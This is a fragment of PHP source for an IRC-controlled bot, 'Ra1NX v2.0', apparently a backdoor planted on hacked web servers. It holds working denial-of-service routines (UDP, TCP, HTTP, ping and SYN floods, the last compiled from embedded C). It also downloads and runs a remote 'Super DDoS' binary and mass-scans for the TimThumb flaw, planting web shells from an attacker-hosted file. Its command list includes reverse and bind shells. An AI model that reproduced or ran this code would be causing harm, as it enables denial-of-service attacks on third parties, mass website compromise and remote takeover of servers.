            SEND($sender."7Googla Map Index: 10".strip_tags($browsing[($i+3)])." x ".strip_tags($browsing[($i+8)]));
            break;
        }
    }
}

####[ Ra1NX Proxy List ]####
function proxy($arg){
    global $SOCKET,$dropMsg,$sender;
    $browsing = $i = $v = false;    
    $host = "http://www.ip-adress.com/proxy_list/";
    SEND($sender."7Proxy List: 10[2A10]nonymous - [2E10]lite!");
    $browsing = explode('<table border="0" class="proxylist">',httpquery($host));
    $tproxy = explode('</table>',$browsing[1]);
    $trodd = explode('<tr class="odd">',$tproxy[0]);
    $tx = 0;
    foreach($trodd as $x => $odd){
        if($tx=="0"){
            $tx++;
            continue;
        }
        $treven = explode('<tr class="even">',$odd);
        foreach($treven as $y => $even){
            $trp = explode("
",$even);
            $c = 0;
            foreach($trp as $z => $tr){
                if($c == "1")$ip = strip_tags($tr);
                if($c == "2")$cl = strip_tags($tr);
                if($c == "4")$cn = str_replace("                        ","",strip_tags($tr));
                if($c == "4")break;
                $c++;
            }
            $cn = str_replace("                    ","",$cn);
            if($cl != "Transparent")SEND($sender."7[2".substr($cl,0,1)."]4 ".$ip." 5(".$cn.")");
        }
    }
    SEND($sender."7Done!");
}

####[ Ra1NX Port ]####
function port($arg){
    global $SOCKET,$sender;
    $args = explode(" ",$arg);
    $host = $args[0];
    $port = $args[1];
    $pesan = checkport($host,$port,2);
    $pesan = "is ".(eregi("failed",$pesan)?$pesan:"Accepted");
    SEND($sender."7Connection to ".$host.":".$port." ".$pesan);
}

function checkport($ip,$port,$timeout){
    global $SOCKET,$sender;
    $checkport = fsockopen($ip, $port, $errnum, $errstr, $timeout);
    return ($checkport)?true:"failed (".$errstr.")";
}

####[ Ra1NX NMap ]####
function nmap($arg){
    global $SOCKET,$sender,$shellfunc,$portserv;
    $shellfunc("which nmap >/tmp/Ra1NX.nmap 2>&1");    
    $havenmap = (trim(fgets(fopen("/tmp/Ra1NX.nmap","r"),16)))?1:0;
    if($havenmap){shell("nmap ".$arg); return;}    
    $ghost = explode(" ",$arg);
    foreach($ghost as $key => $host){
        if(!eregi("^(-).+$",$host) || !is_numeric($host)){
            $thehost = $host;
            break;
        }
    }
    SEND($sender."7Ra1NX Port Mapper v0.1");
    SEND($sender."7Interesting port on ".$thehost.". Scan maybe long. Please wait..");
    foreach($portserv as $theport => $servname){
        if(!eregi("failed",checkport($thehost,$theport,1))){
            $open[] = $theport." open ".$servname;                
        }
    }
    foreach($open as $key => $val){
        SEND($sender."10".$val);
    }
    SEND($sender."10Port Mapping done! ".count($open)." opened port");    
}

function portserv(){
    global $SOCKET,$sender;
    $data = httpquery("http://nmap.org/svn/nmap-services");
    $rows = explode("
",$data);
    foreach($rows as $num => $val){
        if(!preg_match("/^(#).+$/",$val)){
            if(!preg_match("/^(<pre>).+$/",$val)){
                if(!preg_match("/^(unknown).+$/",$val)){
                    $p = explode("	",$val);
                    $q = explode("/",$p[1]);
                    $portserv[$q[0]] = $p[0];
                }
            }
        }
    }
    return $portserv;
}


####[ Ra1NX UDP Flood ]####
function udpflood($arg) { //@udpflood host paket time
    global $SOCKET,$sender;
    $args = explode(" ",$arg);
    SEND($sender."10UDP Flood: ".$args[0]." !Size: ".$args[1]." for ".$args[2]." times!");
    for($i=0;$i<$args[1];$i++){$packet .= "Ra1NX Mass Flooder!! ";}
    $time = $args[2];
    do{
        $conn = fsockopen("udp://".$args[0],mt_rand(0,65535),$err,$msg,5);
        fwrite($conn,$packet);
        fclose($conn);
        $time--;
    }while($time);
    SEND($sender."10UDP Flood: ".$args[0]." is done!");
}

####[ Ra1NX TCP Flood ]####
function tcpflood($arg){ //@tcpflood host port paket time
    global $SOCKET,$sender;
    $args = explode(" ",$arg);
    SEND($sender."10TCP Flood: ".$args[0].":".$args[1]." !Size: ".$args[2]." for ".$args[3]." times!");
    for($i=0;$i<$args[2];$i++){$packet .= "Ra1NX Mass Flooder!! ";}
    $time = $args[3];
    do {
        $conn = fsockopen("tcp://".$args[0],$args[1],$err,$msg,5);
        fwrite($conn,$packet);
        fclose($conn);
        $time--;
    }while($time);
    SEND($sender."10TCP Flood: ".$args[0]." is done!");
}

####[ Ra1NX HTTP FLOOD ]####
function httpflood($arg){ //@httpflood google.com 9999999999 999999999t
    global $SOCKET,$sender;
    $args = explode(" ",$arg);
    SEND($sender."10HTTP Flood: ".$args[0]." !Size: ".$args[1]." for ".$args[2]." times!");
    for($i=0;$i<$args[1];$i++){$packet .= "Ra1NX Mass Flooder!! ";}
    $time = $args[2];
    do {
        $conn = fsockopen("tcp://".$args[0],80,$err,$msg,5);
        fwrite($conn,$packet);
        fclose($conn);
        $time--;
    }while($time);
    SEND($sender."10HTTP Flood: ".$args[0]." is done!");
}

####[ Ra1NX Ping Flood ]####
function pingflood($arg){ //@pingflood google.com 99999999
    global $SOCKET,$sender,$shellfunc;
    $shellfunc("whoami >/tmp/Ra1NX.whoami 2>&1");
    $whoami = trim(fgets(fopen("/tmp/Ra1NX.whoami","r"),32));
    $shellfunc("rm -f /tmp/Ra1NX.whoami");
    if($whoami != "root"){ SEND($sender."10Need root access!"); return; }
    $args = explode(" ",$arg);
    SEND($sender."Smurf Ping of Death: ".$args[0]." for ".$args[1]." times");
    $shellfunc("ping ".$args[0]." -l 65000 -c ".$args[1]." 2>&1");
}

####[ Ra1NX Apache Benchmark Flood ]####
function apacheflood($arg){
    global $SOCKET,$sender,$shellfunc;
    $shellfunc("which ab >/tmp/Ra1NX.ab 2>&1");
    $abfunc = trim(fgets(fopen("/tmp/Ra1NX.ab","r"),128));
    if(!$abfunc){ SEND($sender."10Cannot locate apache benchmark. Flooding canceled!"); return; }
    $args = explode(" ",$arg);
    SEND($sender."10Apache benchmark flood started: ".$args[0]." in ".$args[1]." times");
    $shellfunc($abfunc." -n ".$args[1]." -c 300 \ http://".$args[0]."/cgi-bin/search.cgi?q=Ra1NX Mass Flooder 2>&1");
}

####[ Ra1NX SynFlood ]####
function sysnflood($arg){
    global $SOCKET,$sender,$shellfunc;
    $shellfunc("which gcc >/tmp/Ra1NX.gcc 2>&1");
    $gcc = trim(fgets(fopen("/tmp/Ra1NX.gcc","r"),128));
    if(!$gcc){
        $shellfunc("which cc >/tmp/Ra1NX.gcc 2>&1");
        $gcc = trim(fgets(fopen("/tmp/Ra1NX.gcc","r"),128));
    }
    if(!$gcc){ SEND($sender."10gcc command not found. Synflooding Canceled!"); return; }
    $shellfunc($gcc." --help >/tmp/Ra1NX.gcc 2>&1");
    $o = fgets(fopen("/tmp/Ra1NX.gcc","r"),3024);
    if(!eregi("Usage: gcc ",$o)){ SEND($sender."10gcc command denied. Synflooding Canceled!"); return; }    
    //blm bisa bikin pakek php. pakek c dulu
    $args = explode(" ",$arg);
    $syntool = "#include<stdio.h>
    #include<netinet/tcp.h>
    #include<netinet/ip.h>

    typedef struct pseudo_header 
    {
        unsigned int source_address;
        unsigned int dest_address;
        unsigned char placeholder;
        unsigned char protocol;
        unsigned short tcp_length;
        //char tcp[28];
        struct tcphdr tcp;
    };

    unsigned short csum(unsigned short *ptr,int nbytes) {
        register long sum;
        unsigned short oddbyte;
        register short answer;

        sum=0;
        while(nbytes>1) {
            sum+=*ptr++;
            nbytes-=2;
        }
        if(nbytes==1) {
            oddbyte=0;
            *((u_char*)&oddbyte)=*(u_char*)ptr;
            sum+=oddbyte;
        }

        sum = (sum>>16)+(sum & 0xffff);
        sum = sum + (sum>>16);
        answer=(short)~sum;

        return(answer);
    }

    int main (void)
    {
        int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
        char datagram[4096];
        struct iphdr *iph = (struct iphdr *) datagram;
        struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
        struct sockaddr_in sin;
        struct pseudo_header psh;
        sin.sin_family = AF_INET;
        sin.sin_port = htons(80);
        sin.sin_addr.s_addr = inet_addr ('".$args[0]."');
        memset (datagram, 0, 4096);
        iph->ihl = 5;
        iph->version = 4;
        iph->tos = 0;
        iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
        iph->id = htonl (54321);
        iph->frag_off = 0;
        iph->ttl = 255;
        iph->protocol = IPPROTO_TCP;
        iph->check = 0;    
        iph->saddr = inet_addr ('192.168.1.2');
        iph->daddr = sin.sin_addr.s_addr;
        iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
        tcph->source = htons (1234);
        tcph->dest = htons (80);
        tcph->seq = 0;
        tcph->ack_seq = 0;
        tcph->doff = 5;    
        tcph->fin=0;
        tcph->syn=1;
        tcph->rst=0;
        tcph->psh=0;
        tcph->ack=0;
        tcph->urg=0;
        tcph->window = htons (5840);
        tcph->check = 0;
        tcph->urg_ptr = 0;
        psh.source_address = inet_addr('192.168.1.2');
        psh.dest_address = sin.sin_addr.s_addr;
        psh.placeholder = 0;
        psh.protocol = IPPROTO_TCP;
        psh.tcp_length = htons(20);
        memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));
        tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));
        {
            int one = 1;
            const int *val = &one;
            if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
                //printf ('Warning: Cannot set HDRINCL!n');
        }
        int counter;
        counter = 0;
        while (counter < ".$args[1].")
        {
            //Send the packet
            if (sendto (s,    
                        datagram,
                        iph->tot_len,
                        0,
                        (struct sockaddr *) &sin,
                        sizeof (sin)) < 0)

                //printf ('errorn');
            //Data send successfully
            else
        //        printf (".");
        counter++;
        }

        return 0;
    }

    ";
    $file = fopen("/tmp/Ra1NX.syn.src","a");
    fwrite($file,$syntool);
    fclose($file);
    $shellfunc($gcc." -o /tmp/Ra1NX.syn /tmp/Ra1NX.syn.src");
    $shellfunc("chmod +x /tmp/Ra1NX.syn");
    $shellfunc("rm -f /tmp/Ra1NX.syn.src");    
    SEND($sender."10Synflooding: ".$args[0]." for ".$args[1]." times");
    $shellfunc("/tmp/Ra1NX.syn 2>&1");
}

####[ Super DDoS ]####
function superdos($arg){
    global $SOCKET,$sender,$gudangsenjata,$shellfunc;
    $args = explode(" ",$arg);
    $shellfunc("pwd >/tmp/Ra1NX.pwd 2>&1");
    $dirnow = trim(fgets(fopen("/tmp/Ra1NX.pwd","r"),512));
    $shellfunc("cd /tmp");
    $dlfunc = downloader();
    if(!$dlfunc){SEND($sender."10Cannot download Super DDoS tool");return;}
    $shellfunc($dlfunc." ".$gudangsenjata."super");
    $shellfunc("chmod +x /tmp/super");
    SEND($sender."10Super DDoS: ".$arg[0]);
    $shellfunc("/tmp/super ".$arg[0]." ".$arg[1]." Ra1NX Mass Flooder >/tmp/Ra1NX.super.dos 2>&1");
    $shellfunc("cd ".$dirnow);
    $shellfunc("rm -f /tmp/Ra1NX.super.dos");
}

###[ Ra1NX | add | Google Search By UnKnown ]###
function google($arg){
	global $SOCKET,$dropMsg,$sender;
	$args=urlencode($arg);
	$c = 0;
	$host = "http://www.google.co.id/search?q=".$args."&num=20";
	SEND($sender."7Gugling for 10".$arg);
	$rez = httpquery($host);
	$pattern = '#<h3 class="r"><a href="([^"]*)" class=#i';
	$count = preg_match_all($pattern, $rez, $matches, PREG_SET_ORDER);
    if ($count == 0) { SEND($sender."7Kosong bos, cek lagi kiwot nya :p"); }
	else {
	for ($i = 0;$i < $count;$i++) {
		$urlz = urldecode($matches[$i][1]);
		$c++;
		if(eregi('http://',$urlz)){
		$urlz=str_replace('&amp;','&',$urlz);
			SEND($sender."7hasil 10 ".$urlz);
			}
		}
		}
	SEND($sender."7Gugling slesae!");
}
###[ Ra1NX | add | TimThumb eXploit by UnKnown ]###
function timid($arg){
	global $SOCKET,$sender;
	$host = "http://flickr.com.crmpt.com/bad.php";
	$respond = httpquery($host);
	if(eregi("GIF89a",$respond)){
	SEND($sender."7Respond Ok");
	} else { SEND($sender."7Respond Bad"); }
	}
function tim($arg){
	global $SOCKET,$dropMsg,$sender;
	$args = explode(" ",$arg);
	$bug = $args[0];
	$dorks = array($args[1],$args[2],$args[3],$args[4]);
	$dork = implode(" ",$dorks);
	$timid = "http%3A%2F%2Fflickr.com.crmpt.com%2Fbad.php";
	$md5php = md5(urldecode($timid)).".php";
	$c = 0;
		SEND($sender."7TimThumb Scanner Start with bug = 10".$bug."7 and dork = 10".$dork);
	$list = googling($dork,$m);
	$totals = explode("
",$list);
	$total = count($totals);
	$clean = array_unique($totals);
		SEND($sender."7Total -> ".$total." sites");
		foreach($clean as $res => $site){
			$vulners = array($site,"/",$bug,"?src=",$timid);
			$vulner = implode("",$vulners);
			SEND($sender."7Checking ".$site);
			$resss = httpquery($vulner);
				if(eregi("Unable to open image",$resss)){
					SEND($sender."7eXploiting -> ". $site);
			$sbug = split('[/]',$bug);
			$patrn = "#$sbug[0]([^<]+)$md5php#i";
			preg_match($patrn,$resss,$targetpath);
			$pathshell = "/".$targetpath[0];
			$shells = array("http://",$site,$pathshell);
			$shell = implode("",$shells);
			$shellzz = httpquery($shell);
			$patern = '#<title>([^*]*)<\/([^*]*)SAFE_MODE : (?P<safe>[^*]*)<\/([^*]*)User : (?P<uid>[^*]*)<\/([^*]*)Uname : (?P<uname>[^<]*)#i';
			$shellz = preg_match($patern,$shellzz,$dapat);
				if($shellz == 0) { SEND($sender."7Gak Nyangkut :("); }
				else {
					$safe = $dapat['safe'];
					$uid = $dapat['uid'];
					$uname = $dapat['uname'];
					SEND($sender."7Shell -> 10".$shell."7 [SafeMode=10".$safe."7] [OS=10".$uname."7] 10".$uid);
				}
			}
		$c++;
		}
	SEND($sender."7Scanner Finished for ".$dork);
}
function googling($key,$max) {
	global $SOCKET,$sender;
	$key = urlencode($key);
	$num = 100;
	$c = 0;
	$tld = array("com","co.id","ae");
	$dom = $tld[rand(0,(count($tld)-1))];
	for ($p=0;$p<=1000;$p+=10) {
		$rez = httpquery("http://www.google.".$dom."/search?num=".$num."&hl=id&q=".$key."&start=".$p."&sa=N",5);
		$pattern = '#<h3 class="r"><a href="([^"]*)" class=#i';
		$count = preg_match_all($pattern, $rez, $matches, PREG_SET_ORDER);
		if ($count == 0) { SEND($sender."7dork jelek"); return $h; }
		else {
			for ($i = 0;$i < $count;$i++) {
				$urlz  = urldecode($matches[$i][1]);
				preg_match('@^(?:http://)?([^/]+)@i',$urlz, $dapat);
				$urls = $dapat[1];
				$h .= $urls."
";
#				$h .= array_unique($h);
				$c++;
#	SEND($sender."7".$urls);
				}
			}
		}
	SEND($sender.'7Searching Done, please wait for eXploit');
	return $h;
}
###[ Ra1NX Command Help ]###
function help($arg){
    global $SOCKET,$sender;
    $args = explode(" ",$arg);
    $opt = $args[0];
    
    $tmpl = $sender."10@";
    $hfile[]= 'irc: join #channel msg';
    $hfile[]= 'irc: part #channel msg';
    $hfile[]= 'irc: cycle #channel msg';
    $hfile[]= 'irc: msg nick/#channel msg';
    $hfile[]= 'irc: whois nick';
    $hfile[]= 'irc: find nick';
    $hfile[]= 'irc: nick newnick';
    $hfile[]= 'irc: off msg';
    
    $hfile[]= 'flood: tsunami nick/#channel';
    $hfile[]= 'flood: ctcpflood nick/#channel';
    
    $hfile[]= 'shell: shell command';
    $hfile[]= 'shell: download url';
    
    $hfile[]= 'domaintool: ipwhois hostname';
    $hfile[]= 'domaintool: reverse hostname';
    $hfile[]= 'domaintool: iptrace hostname';
    $hfile[]= 'domaintool: port hostname port';
    $hfile[]= 'domaintool: nmap hostname';
    $hfile[]= 'domaintool: proxy';
    
    $hfile[]= 'ddos: udpflood target packetsize times';
    $hfile[]= 'ddos: tcpflood target port packetsize times';
    $hfile[]= 'ddos: httpflood target packetsize times';
    $hfile[]= 'ddos: pingflood target times';
    $hfile[]= 'ddos: apacheflood target times';
    $hfile[]= 'ddos: synflood target packetsize times';
    $hfile[]= 'ddos: superdos target port';
    
    $hfile[]= 'rconnect: backconnect ip port {perl|c|nc|php}';
    $hfile[]= 'rconnect: bindshell port {perl|nc|php}';
    
    $hfile[]= 'info: info';
    $hfile[]= 'info: myself';
    $hfile[]= 'info: myip';
    $hfile[]= 'info: myshell';
    
    if(!$opt){SEND($sender."2Ra1NX v2.0 Command Help");}
    foreach($hfile as $key => $val){
        $send = true;
        if($opt!=""){
            $send = (eregi($opt.":",$val))?true:false;
        }
        if($send){
            SEND(((eregi("shell command",$val))?$sender."10":$tmpl).substr($val,(strpos($val,": ")+2),strlen($val)));
        }
    }
    if(!$opt){SEND($tmpl."help {irc|flood|ddos|domaintool|rconnect|shell|info}");}
}

###[ Ra1NX AddOns ]###
function beArray($val,$param=','){
    $val = str_replace("
","",$val);
    $val = str_replace("
","",$val);
    $val = str_replace("	","",$val);
    $val = str_replace(" ","",$val);
    return explode($param,$val);    
}

function random($var){
    $var = beArray($var);
    $max = count($var)-1;
    $key = rand("0",$max);
    $output = str_replace(" ","",$var[$key]);
    $output = str_replace("
","",$output);
    $output = str_replace("
","",$output);
    $output = str_replace("	","",$output);
    return $output;
}